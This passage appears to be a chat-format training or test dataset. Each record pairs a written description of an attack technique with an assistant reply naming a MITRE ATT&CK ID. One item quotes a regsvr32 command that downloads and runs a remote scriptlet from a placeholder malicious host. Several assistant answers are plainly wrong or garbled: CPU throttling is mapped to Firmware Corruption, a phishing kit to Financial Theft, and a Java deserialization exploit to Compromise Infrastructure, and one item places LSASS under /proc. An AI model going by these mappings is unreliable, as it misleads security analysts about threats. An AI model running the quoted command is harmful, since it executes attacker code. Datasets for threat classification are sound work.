            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro launches a Visual Basic Script that reads credentials from the registry and sends them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool renames its executable to \"winlogon .exe\" (note the space) to exploit parsers that truncate at whitespace."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a recent breach, the threat actor used the command \"regsvr32 /s /n /u /i:http://malicious.com/bad.sct scrobj.dll\" to run malicious code."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder compromises a server by exploiting a deserialization vulnerability in a Java-based API."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages link farms and black‑hat SEO to push malicious blog posts to the top of search results, where they auto‑execute drive‑by exploits targeting vulnerable browsers."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls a target pretending to be from the IT department and asks them to confirm credentials over the phone."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant verifies the presence of a sandbox environment by checking for known virtualization processes before launching its main payload."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion campaign includes a step where the adversary starts a container that runs a cryptominer inside the victim's environment."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware was delivered as 'invoice.docx.scr', exploiting the double file extension trick to appear as a Word document while actually being a script."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks the system clock and only executes its payload if the uptime exceeds 30 minutes, thereby avoiding execution in short-lived sandbox environments."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the actor used InstallUtil.exe to bypass application control and install a malicious service."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed the AWS Systems Manager Run Command API to execute shell commands across multiple EC2 instances."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs an external HTTP proxy to chain multiple proxy hops, obscuring the attacker’s true IP address."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into the NTLM authentication flow on the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the intruder removes all records of active TCP/UDP connections from the host's connection history."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged PowerShell to download and execute a remote payload on compromised Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers inject malicious payloads into a trusted client software update package, causing compromised binaries to be installed on user machines."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged stolen Kerberos tickets and password hashes to impersonate a legitimate user and access sensitive resources."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell to retrieve the username of the logged‑on account via the $env:USERNAME variable."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a paid vulnerability intelligence platform to search for zero‑day disclosures tied to a specific vendor's products."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat copies the contents of the user's password manager database to an encrypted container."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool sets up a named mutex to synchronize actions between two processes, effectively coordinating malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a phishing email, the adversary obtained temporary credentials and then scripted the creation of a new cloud account for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised domain credentials, the threat actor accesses sensitive files without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors drop a .pfx file and import it with a known password, granting them the ability to sign and execute malicious software."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a forged Kerberos service ticket using a captured service account hash to impersonate a privileged account on a database server."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using InstallUtil.exe, the threat actor installed a malicious service that runs with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new process using rundll32.exe with arguments that appear innocuous, obscuring the malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An iOS trojan extracts passwords by parsing the in‑memory keychain data held by the securityd service."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses command and control communication to receive instructions from a command center?"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker logs into the network device's web interface and downloads the saved configuration file to obtain system settings and credentials."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts automated queries on public search engines to locate webpages owned by the target organization, gathering information for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a CDN service to front a malicious payload, leveraging the fact that the CDN forwards traffic based on the Host header, thereby disguising command-and-control communications."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised template file for Word is distributed via phishing, containing a macro that initiates a C2 communication channel each time Office starts."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a phishing link, the adversary obtains OAuth tokens and uses them to programmatically download emails from the target’s Gmail account."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Outlook Home Page setting to point to a malicious URL, causing the payload to execute each time the user opens Outlook."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the 'net localgroup' command with the /domain flag to discover domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker discovers a remote code execution vulnerability in a publicly exposed Jenkins server and runs a malicious Groovy script to gain control."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accesses stored credentials by querying the Windows Credential Manager vault with the 'cmdkey' utility."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling the Control Panel's 'SystemPropertiesPerformance.exe', the threat actor runs a covert command line payload."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the procfs to copy the contents of /proc/[pid]/mem from LSASS process for credential extraction."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs asynchronous procedure call (APC) injection by queuing a malicious routine into a high‑privilege process's thread, bypassing standard security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the attacker disabled the Azure Network Security Group rules, effectively turning off the cloud‑based perimeter defense."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group installs a process that continuously throttles CPU usage, degrading performance."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses docker exec to run a malicious shell inside a compromised container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes PowerShell to inject malicious code into a running process using reflective DLL injection techniques."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts the stored configuration of a VPN concentrator from the central config store for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers craft a spearphishing email containing a Word document with a malicious macro, aiming to exfiltrate user data."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers compromised a trusted external consultant’s laptop and leveraged the stored VPN certificates to infiltrate the client network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware droplet drops a batch file that formats the system partition, erasing all data before demanding payment."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deployed a credential‑harvesting script that parses .pst files on compromised endpoints to extract email account information."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious USB flash drive is left in a public area, and when a user plugs it in, it executes an autorun script that installs ransomware."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware contacts a well‑known public API endpoint and parses the response for encrypted directives, using the API as a dead‑drop resolver for covert communication."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code converts sensitive logs into hexadecimal strings before transmitting them over HTTP to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a custom tool to remove all non-essential sections from a binary, delivering a lean, obfuscated payload."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launched a privileged container with \"docker run --privileged\" to escape the container isolation."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a compromised FTP account to upload a malicious index.php file that overwrites the original site’s landing page, resulting in a defacement attack."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the spctl tool with the --disable flag to turn off Gatekeeper enforcement on the target Mac."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a phishing kit on a compromised website to lure victims into downloading malware."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake security patch is delivered via email, and the user installs the .msi package, which launches the attacker’s malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses PowerShell's Get-ItemProperty cmdlet on the Registry path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" to discover software."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group engineers a polymorphic malware family for future campaigns."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool was used to programmatically disable the cloud firewall's default deny‑all inbound rule."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in an Excel spreadsheet is delivered via a spearphishing attachment, executing PowerShell upon opening."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Word macro reads the clipboard buffer to steal passwords and email addresses."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves a rogue TFTP service that supplies an altered firmware image, allowing the attacker to run code before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor triggers a firmware-level command that erases all data on the hard drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs a hidden Python command to enumerate user directories and exfiltrate files."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the service registry keys, the adversary configures a new service that runs a script to exfiltrate data whenever the service is triggered."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker utilized a search engine to find publicly exposed PDFs that contained internal IP address ranges."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the DCOM protocol, the malware initiates a remote process on the victim, allowing lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker smuggles a malicious firmware update on a USB stick to compromise the BIOS of critical infrastructure servers."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast-flux DNS helps the attacker evade detection by rapidly changing the IP address associated with a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload was disguised as \"resume.doc.exe\" to appear as a standard document file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the \"Accessibility Shortcut\" registry key to point to a malicious executable, causing it to run when the user presses the Windows+U shortcut."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
